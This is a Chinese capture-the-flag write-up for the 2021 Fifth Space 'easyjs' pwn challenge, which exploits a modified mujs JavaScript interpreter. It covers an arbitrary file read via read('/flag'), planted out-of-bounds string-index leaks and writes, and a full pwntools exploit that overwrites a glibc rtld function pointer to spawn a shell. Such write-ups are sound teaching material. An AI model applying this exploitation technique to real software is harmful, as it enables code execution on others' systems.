2021 天津第五空间线下赛 easyjs Writeup
2021 年天津第五空间大赛线下赛 easyjs Writeup
1. 题目
LIBC 环境:Ubuntu GLIBC 2.23-0ubuntu11.3
从靶机上下载得到一个mujs
程序。checksec
发现没有开启PIE
和Full RELRO
。
root@05a4d8780eeb:/pwn# checksec mujs
[*] '/pwn/mujs'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
运行mujs
可以发现这是一个 Javascript 解释器。
用 IDA 打开发现程序没有 strip,完整保留着所有的函数名称和一些常量名。
2. BUG 1(非预期?)
read("/flag")
事实上 mujs 有一个内置函数read
可以读取任意文件。可能是出题人粗心,出题的时候没有把这个函数 nop 掉。
patch 方法很简单,直接把jsB_read
函数中的s[n] = 0
改成s[0] = 0
就行了。
3. BUG 2
当意识到这是 JS 题目时,最先想到的是 OOB 漏洞。尝试了几轮,最后发现 字符串变量+大数值下标 时程序发生 crash。
a = '';
a[0x1000000]; // crash!
沿着 backtrace 找到jsR_hasproperty
函数,发现访问字符串变量时:
- 当下标为
0x1337
和0x7331
时,可以泄露__libc_start_main
和堆缓冲区地址(方式是将地址写入到储存字符串的缓冲区u.number
中); - 没有检查下标是否越界。
类似地,jsR_setproperty
函数(负责处理a[X] = Y
或a.X = Y
语句)也发现了出题人留下的漏洞。
上图是处理字符串的这部分代码,被改成 将数据写到以缓冲区u.number
前 8 字节为基址的任意偏移上了。
结合上述两个漏洞,我们能够实现泄露 libc 与堆地址和任意地址写。
4. EXP
说一下写 EXP 遇到的坑。
我一开始使用的是空字符串a = ''
。然后发现触发漏洞之后,无论做什么malloc()
都会报错。
开 gdb 检查一下报错信息提到的堆地址。发现 mujs 越过缓冲区,直接把泄露的地址写到堆块头部上了。
使用长度大于 8 的字符串就没问题 。估计 mujs 给空字符串分配了长度为 0 的缓冲区,导致触发漏洞的同时破坏了缓冲区相邻的堆块。
另外,由于受到今年 TCTF Final QuickJS 题的影响,以为 mujs 只能一次写 4 个字节数据(实际上可以直接写 8 字节的)。所以浪费了点时间将 EXP 中所有 8 字节 payload 拆成两个 4 字节。
不过写 8 字节功能有 BUG。如图可能是浮点数转换精度有问题,把/bin/sh
写成0bin/sh
了。
首先使用a[0x1337]
触发漏洞,然后访问a[0]
~a[6]
泄露 libc 地址。
p.sendlineafter('>', "a='aaaaaaaa'")
p.sendlineafter('>', "a[0x7331]")
addr = 0
for i in range(6):
p.sendlineafter('>', "a[%d]" % i)
p.recvline()
n = int(p.recvline())
if n < 0:
n += 0x100
addr += n << (i * 8)
libcbase = addr - 0x20750
然后通过a
进行 libc 任意偏移写。这里我通过覆盖dl.so
上的_dl_rtld_lock_recursive
指针来 get shell。
system = libcbase + 0x453a0
# _rtld_global+2312
rtld_global = libcbase + 0xb3f948
# _rtld_global->_dl_rtld_lock_recursive
rtld_lock_func_ptr = libcbase + 0xb3ff48
p.sendlineafter('>', "a[%d] = %d" % (rtld_lock_func_ptr-addr, system))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr, 0x6e69622f))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr+4, 0x68732f))
p.sendline("quit()") # call exit()
效果如下:
当然也可以直接写 GOT 表,因为程序没有开启PIE
和Full RELRO
。
完整 EXP:
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
p = process("./mujs")
p.sendlineafter('>', "a='aaaaaaaa'")
p.sendlineafter('>', "a[0x7331]")
addr = 0
for i in range(6):
p.sendlineafter('>', "a[%d]" % i)
p.recvline()
n = int(p.recvline())
if n < 0:
n += 0x100
addr += n << (i * 8)
libcbase = addr - 0x20750
info("libc_main: 0x%lx", addr)
info("libcbase: 0x%lx", libcbase)
system = libcbase + 0x453a0
# _rtld_global+2312
rtld_global = libcbase + 0xb3f948
# _rtld_global->_dl_rtld_lock_recursive
rtld_lock_func_ptr = libcbase + 0xb3ff48
p.sendlineafter('>', "a[%d] = %d" % (rtld_lock_func_ptr-addr, system))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr, 0x6e69622f))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr+4, 0x68732f))
p.sendline("quit()") # call exit()
p.interactive()
Comments